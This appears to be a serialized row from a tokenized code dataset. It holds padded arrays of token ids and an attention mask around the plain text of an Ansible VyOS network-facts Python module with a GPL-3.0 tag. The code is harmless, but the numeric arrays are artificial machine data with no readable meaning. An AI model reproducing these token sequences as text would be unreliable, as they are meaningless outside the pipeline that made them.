32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 984, 199, 504, 2196, 492, 2196, 199, 504, 4182, 492, 1050, 199, 199, 504, 15847, 492, 21769, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 340, 822, 8, 1274, 14, 3020, 9, 508, 413, 26, 267, 870, 4331, 984, 14, 3083, 12, 298, 7692, 26, 6682, 665, 4133, 30, 24936, 14865, 30, 8480, 267, 4458, 2801, 17, 9, 272, 4061, 275, 21769, 8, 1274, 14, 3020, 59, 17, 467, 298, 4718, 10542, 531, 272, 17184, 275, 1109, 8, 1274, 14, 3020, 59, 18, 566, 340, 822, 8, 1274, 14, 3020, 9, 690, 499, 587, 499, 272, 302, 275, 25761, 627, 17184, 272, 347, 289, 1547, 304, 267, 671, 275, 2196, 342, 627, 499, 446, 413, 267, 612, 275, 2196, 342, 627, 499, 446, 413, 267, 372, 413, 340, 671, 1011, 499, 435, 612, 1011, 499, 665, 413, 587, 378, 272, 2338, 275, 4061, 14, 27675, 8, 21120, 8, 17, 12, 302, 11, 17, 395, 17184, 680, 1130, 8, 70, 680, 5270, 8, 525, 9, 272, 870, 298, 10542, 365, 28568, 590, 450, 70, 2, 450, 334, 20, 14, 16, 627, 2338, 1182, 302, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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271
# Copyright 2019 Red Hat # GNU General Public License v3.0+ # (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) """ The facts class for vyos this file validates each subset of facts and selectively calls the appropriate facts gathering function """ from __future__ import absolute_import, division, print_function __metaclass__ = type from ansible.module_utils.network.common.facts.facts import FactsBase from ansible.module_utils.network.vyos.facts.interfaces.interfaces import InterfacesFacts from ansible.module_utils.network.vyos.facts.l3_interfaces.l3_interfaces import L3_interfacesFacts from ansible.module_utils.network.vyos.facts.lag_interfaces.lag_interfaces import Lag_interfacesFacts from ansible.module_utils.network.vyos.facts.lldp_global.lldp_global import Lldp_globalFacts from ansible.module_utils.network.vyos.facts.lldp_interfaces.lldp_interfaces import Lldp_interfacesFacts from ansible.module_utils.network.vyos.facts.legacy.base import Default, Neighbors, Config FACT_LEGACY_SUBSETS = dict( default=Default, neighbors=Neighbors, config=Config ) FACT_RESOURCE_SUBSETS = dict( interfaces=InterfacesFacts, l3_interfaces=L3_interfacesFacts, lag_interfaces=Lag_interfacesFacts, lldp_global=Lldp_globalFacts, lldp_interfaces=Lldp_interfacesFacts ) class Facts(FactsBase): """ The fact class for vyos """ VALID_LEGACY_GATHER_SUBSETS = frozenset(FACT_LEGACY_SUBSETS.keys()) VALID_RESOURCE_SUBSETS = frozenset(FACT_RESOURCE_SUBSETS.keys()) def __init__(self, module): super(Facts, self).__init__(module) def get_facts(self, legacy_facts_type=None, resource_facts_type=None, data=None): """ Collect the facts for vyos :param legacy_facts_type: List of legacy facts types :param resource_facts_type: List of resource fact types :param data: previously collected conf :rtype: dict :return: the facts gathered """ if self.VALID_RESOURCE_SUBSETS: self.get_network_resources_facts(FACT_RESOURCE_SUBSETS, resource_facts_type, data) if self.VALID_LEGACY_GATHER_SUBSETS: self.get_network_legacy_facts(FACT_LEGACY_SUBSETS, legacy_facts_type) return self.ansible_facts, self._warnings
gpl-3.0
[ 3, 1898, 20312, 9572, 13002, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 199, 3, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 624, 199, 1918, 9036, 1021, 367, 31766, 736, 199, 3749, 570, 29280, 1924, 10026, 402, 9036, 436, 542, 10251, 9462, 199, 5352, 314, 5827, 9036, 13082, 316, 805, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 2330, 14, 5047, 14, 5047, 492, 481, 22282, 1563, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 7436, 14, 7436, 492, 6551, 4309, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 76, 19, 63, 7436, 14, 76, 19, 63, 7436, 492, 491, 19, 63, 7436, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 1823, 63, 7436, 14, 1823, 63, 7436, 492, 491, 643, 63, 7436, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 24319, 63, 2966, 14, 24319, 63, 2966, 492, 491, 17288, 63, 2966, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 24319, 63, 7436, 14, 24319, 63, 7436, 492, 491, 17288, 63, 7436, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 10000, 14, 1095, 492, 3758, 12, 5612, 7398, 12, 4094, 421, 199, 18164, 63, 25086, 22114, 63, 6348, 3597, 51, 275, 1211, 8, 272, 849, 29, 2698, 12, 272, 15845, 29, 20011, 12, 272, 1101, 29, 2028, 199, 9, 199, 18164, 63, 14110, 63, 6348, 3597, 51, 275, 1211, 8, 272, 8386, 29, 18680, 25821, 12, 272, 634, 19, 63, 7436, 29, 44, 19, 63, 7436, 25821, 12, 272, 17891, 63, 7436, 29, 44, 643, 63, 7436, 25821, 12, 272, 28768, 63, 2966, 29, 44, 17288, 63, 2966, 25821, 12, 272, 28768, 63, 7436, 29, 44, 17288, 63, 7436, 25821, 199, 9, 421, 199, 533, 481, 22282, 8, 25821, 1563, 304, 272, 408, 710, 10572, 1021, 367, 31766, 736, 272, 408, 339, 22049, 63, 25086, 22114, 63, 39, 619, 3452, 63, 6348, 3597, 51, 275, 9522, 8, 18164, 63, 25086, 22114, 63, 6348, 3597, 51, 14, 1612, 1012, 272, 22049, 63, 14110, 63, 6348, 3597, 51, 275, 9522, 8, 18164, 63, 14110, 63, 6348, 3597, 51, 14, 1612, 1012, 339, 347, 636, 826, 721, 277, 12, 859, 304, 267, 1613, 8, 25821, 12, 291, 2843, 826, 721, 578, 9, 339, 347, 664, 63, 5047, 8, 277, 12, 12139, 63, 5047, 63, 466, 29, 403, 12, 2073, 63, 5047, 63, 466, 29, 403, 12, 666, 29, 403, 304, 267, 408, 19649, 314, 9036, 367, 31766, 736, 267, 520, 635, 12139, 63, 5047, 63, 466, 26, 3820, 402, 12139, 9036, 2943, 267, 520, 635, 2073, 63, 5047, 63, 466, 26, 3820, 402, 2073, 10572, 2943, 267, 520, 635, 666, 26, 10889, 13736, 3743, 267, 520, 4500, 26, 1211, 267, 520, 1107, 26, 314, 9036, 16072, 31051, 267, 408, 267, 340, 291, 14, 5600, 63, 14110, 63, 6348, 3597, 51, 26, 288, 291, 14, 362, 63, 1200, 63, 4435, 63, 5047, 8, 18164, 63, 14110, 63, 6348, 3597, 51, 12, 2073, 63, 5047, 63, 466, 12, 666, 9, 267, 340, 291, 14, 5600, 63, 25086, 22114, 63, 39, 619, 3452, 63, 6348, 3597, 51, 26, 288, 291, 14, 362, 63, 1200, 63, 10000, 63, 5047, 8, 18164, 63, 25086, 22114, 63, 6348, 3597, 51, 12, 12139, 63, 5047, 63, 466, 9, 398, 372, 291, 14, 4853, 63, 5047, 12, 291, 423, 5451, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 20312, 9572, 13002, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 199, 3, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 624, 199, 1918, 9036, 1021, 367, 31766, 736, 199, 3749, 570, 29280, 1924, 10026, 402, 9036, 436, 542, 10251, 9462, 199, 5352, 314, 5827, 9036, 13082, 316, 805, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 2330, 14, 5047, 14, 5047, 492, 481, 22282, 1563, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 7436, 14, 7436, 492, 6551, 4309, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 76, 19, 63, 7436, 14, 76, 19, 63, 7436, 492, 491, 19, 63, 7436, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 1823, 63, 7436, 14, 1823, 63, 7436, 492, 491, 643, 63, 7436, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 24319, 63, 2966, 14, 24319, 63, 2966, 492, 491, 17288, 63, 2966, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 24319, 63, 7436, 14, 24319, 63, 7436, 492, 491, 17288, 63, 7436, 25821, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 16091, 736, 14, 5047, 14, 10000, 14, 1095, 492, 3758, 12, 5612, 7398, 12, 4094, 421, 199, 18164, 63, 25086, 22114, 63, 6348, 3597, 51, 275, 1211, 8, 272, 849, 29, 2698, 12, 272, 15845, 29, 20011, 12, 272, 1101, 29, 2028, 199, 9, 199, 18164, 63, 14110, 63, 6348, 3597, 51, 275, 1211, 8, 272, 8386, 29, 18680, 25821, 12, 272, 634, 19, 63, 7436, 29, 44, 19, 63, 7436, 25821, 12, 272, 17891, 63, 7436, 29, 44, 643, 63, 7436, 25821, 12, 272, 28768, 63, 2966, 29, 44, 17288, 63, 2966, 25821, 12, 272, 28768, 63, 7436, 29, 44, 17288, 63, 7436, 25821, 199, 9, 421, 199, 533, 481, 22282, 8, 25821, 1563, 304, 272, 408, 710, 10572, 1021, 367, 31766, 736, 272, 408, 339, 22049, 63, 25086, 22114, 63, 39, 619, 3452, 63, 6348, 3597, 51, 275, 9522, 8, 18164, 63, 25086, 22114, 63, 6348, 3597, 51, 14, 1612, 1012, 272, 22049, 63, 14110, 63, 6348, 3597, 51, 275, 9522, 8, 18164, 63, 14110, 63, 6348, 3597, 51, 14, 1612, 1012, 339, 347, 636, 826, 721, 277, 12, 859, 304, 267, 1613, 8, 25821, 12, 291, 2843, 826, 721, 578, 9, 339, 347, 664, 63, 5047, 8, 277, 12, 12139, 63, 5047, 63, 466, 29, 403, 12, 2073, 63, 5047, 63, 466, 29, 403, 12, 666, 29, 403, 304, 267, 408, 19649, 314, 9036, 367, 31766, 736, 267, 520, 635, 12139, 63, 5047, 63, 466, 26, 3820, 402, 12139, 9036, 2943, 267, 520, 635, 2073, 63, 5047, 63, 466, 26, 3820, 402, 2073, 10572, 2943, 267, 520, 635, 666, 26, 10889, 13736, 3743, 267, 520, 4500, 26, 1211, 267, 520, 1107, 26, 314, 9036, 16072, 31051, 267, 408, 267, 340, 291, 14, 5600, 63, 14110, 63, 6348, 3597, 51, 26, 288, 291, 14, 362, 63, 1200, 63, 4435, 63, 5047, 8, 18164, 63, 14110, 63, 6348, 3597, 51, 12, 2073, 63, 5047, 63, 466, 12, 666, 9, 267, 340, 291, 14, 5600, 63, 25086, 22114, 63, 39, 619, 3452, 63, 6348, 3597, 51, 26, 288, 291, 14, 362, 63, 1200, 63, 10000, 63, 5047, 8, 18164, 63, 25086, 22114, 63, 6348, 3597, 51, 12, 12139, 63, 5047, 63, 466, 9, 398, 372, 291, 14, 4853, 63, 5047, 12, 291, 423, 5451, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
